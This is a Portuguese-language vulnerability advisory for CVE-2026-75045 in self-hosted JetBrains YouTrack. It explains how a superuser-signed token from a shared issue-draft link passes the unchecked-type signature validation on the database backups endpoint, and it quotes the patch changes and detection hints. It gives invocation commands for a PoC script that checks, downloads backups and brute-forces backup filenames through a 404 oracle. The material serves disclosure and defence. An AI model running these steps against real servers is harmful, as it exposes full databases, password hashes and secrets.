
CVE-2026-75045 - Download não autenticado de backup do banco de dados do JetBrains YouTrack por meio de assinatura de rascunho compartilhada (CVSS 9.1)
Status: PoC reconstruído como parte de pesquisa de vulnerabilidade; não existia exploit público na época. Relator original: Hieu Nguyen (reportado à JetBrains, corrigido em 2026-08-17/18).
| Produto | JetBrains YouTrack (Server auto-hospedado) |
| Afetado | Todas as builds anteriores a 2025.3.156085, 2026.1.13913, 2026.2.18112 |
| Tipo | CWE-288 — Bypass de Autenticação Usando Caminho ou Canal Alternativo |
| CVSS 3.1 | 9.1 Crítico (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N) |
| Pós-exploração | Dump completo do banco de dados: todas as issues, projetos, usuários (hashes de senha, segredos), anexos, configurações |
| CISA KEV | Não; EPSS baixo; nenhuma exploração in-the-wild registrada |
EntitySigningService (youtrack-application) emite tokens de URL no formato:
token = base64url( timestamp | userXdId | entityId | sig )
sig = base64( SHA-256( timestamp | userXdId | entityId | user.secret ) )
user.secret — segredo por usuário (XdUser implementa SecretProviderEntity);SecretProviderEntity com seu próprio segredo, ele é anexado ao salt;parseSign(token, type) busca o usuário por id, busca a entidade por entityId,
recalcula o SHA-256 e compara, depois verifica now > timestamp → "link expirado".Crítico: a busca da entidade passa por PersitenceExtensionsKt.tryFindById → xodus-dnq
IdsKt.findById:
fun <T : XdEntity> XdEntityType<T>.findById(xdId: String): T {
val session = store.session
val entity = session.getEntity(session.toEntityId(xdId)) // raw store id
return entity.toXd() as T // type NOT checked
}
O parâmetro type é ignorado — qualquer entidade com esse store-id é retornada,
convertida para o tipo solicitado. A assinatura ainda é validada porque é calculada
a partir dos mesmos campos (timestamp, id do usuário, id da entidade, segredo do usuário).
Quando um rascunho de issue é "compartilhado" com uma pessoa externa, XdIssueExtKt.getUrl constrói o link:
if (issue.isDraft) {
res = "$baseUrl/newIssue?draftId=${issue.entityId}"
if (issue.secret != null) // draft marked as "shared"
res += "&sign=" + signing.newSign(
XdDraftOwnerUser.Companion.get(), // <- signer
issue,
SignatureDuration.WORKFLOW) // ~14 days
}
XdDraftOwnerUser é um superusuário interno:
@ApiJsDocIgnore
@AllowAllSecurity
public final class XdDraftOwnerUser extends XdSuperUser {
// login = "draft_owner_" + Math.abs(new Random().nextInt());
// password is randomly generated — cannot log in with it,
// but runAs() from the signature uses its identity directly
}
Em resumo: todo destinatário de um link /newIssue?draftId=177-5&sign=<token> possui
um token que incorpora um superusuário, válido por 14 dias, e o link é projetado
para pessoas sem conta.
Os arquivos de backup são servidos por meio de links assinados:
GET /api/admin/backups/<YYYY-MM-DD-HH-MM-SS.tar.gz>?sign=<token>
@GET @CustomAuth @Path("{file}")
public void getBackup(response, file, @QueryParam("sign") sign) {
// SOLE authentication — signature check:
user = entitySigningService.parseSign(sign, XdDatabaseBackupConfig.Companion).getUser();
runAs(user) { // <- principal becomes the token's user
assertAccess(file); // hasPermission(user, ADMIN_READ_APP)
backupFile = backupFolder.getBackupFile(file);
// ... stream the archive
}
}
private void assertAccess(String file) {
if (!security.hasPermission(loggedInUser, Permission.ADMIN_READ_APP))
throw new ForbiddenException(...); // superuser passes
if (file contains '/' or '\\') throw NotFound; // path traversal blocked
}
Cadeia de ataque:
parseSign(token, XdDatabaseBackupConfig): o usuário draft_owner_* é encontrado;
a entidade pelo store-id é encontrada (é um rascunho de issue, mas o tipo não é
verificado); o SHA-256 corresponde; 14 dias não se passaram → o token é válido.runAs(XdDraftOwnerUser) → assertAccess vê o superusuário → OK.YYYY-MM-DD-HH-MM-SS.tar.gz (hora local do servidor; após um download bem-sucedido
o token é queimado em expiredTokens até a reinicialização do servidor).BackupFileResource não foi alterado. Alterações em EntitySigningService:
extractInfo: entityId == "null" agora é rejeitado (anteriormente tokens com
entity=null eram aceitos para qualquer endpoint);newSign(user, entity, ...) — entity tornou-se @NotNull;tryFindByIdOfType foi adicionado — a entidade encontrada é verificada quanto à pertença
ao tipo solicitado (getEnclosingEntityClass);emailBound e a sobrecarga parseSign(token, vararg types) surgiram —
o token é vinculado a uma lista de tipos de entidade permitidos.Agora um token de rascunho no endpoint de backups → MalformedSignatureException → 403.
poc_cve_2026_75045.py (apenas biblioteca padrão). Apenas para instâncias que você possui ou tem
permissão escrita explícita para testar.
# Non-destructive check (downloads nothing):
# 404 on a nonexistent file = token accepted = vulnerable
# 403 = token rejected = patched/invalid token
python poc_cve_2026_75045.py --url https://yt.lab.local/ \
--sign "<sign from shared draft link>" --i-am-authorized
# You can pass the full link:
python poc_cve_2026_75045.py --url https://yt.lab.local/ \
--draft-url "https://yt.lab.local/newIssue?draftId=177-5&sign=..." --i-am-authorized
# Controlled download (burns the one-time token):
python poc_cve_2026_75045.py --url https://yt.lab.local/ --sign <token> \
--i-am-authorized --download --file 2026-07-15-03-00-00.tar.gz -o out.tar.gz
# Filename brute-force via the 404 oracle (rate limiting mandatory):
python poc_cve_2026_75045.py --url https://yt.lab.local/ --sign <token> \
--i-am-authorized --brute --dates 2026-07-01:2026-07-19 \
--times 03:00,22:30 --spread 60 --delay 0.3
Saída esperada do modo de verificação num servidor vulnerável:
[*] Control (forged token): HTTP 403
[*] Probe (draft token) : HTTP 404
[+] VULNERABLE: shared draft signature accepted on the backups endpoint.
GET /api/admin/backups/<file>?sign=... sem cookie/Authorization,
especialmente de IPs externos; HTTP 200 nesse caminho é um incidente.sign válido em /api/admin/backups/ indicam tentativas de exploração/varredura./newIssue?draftId=...&sign=....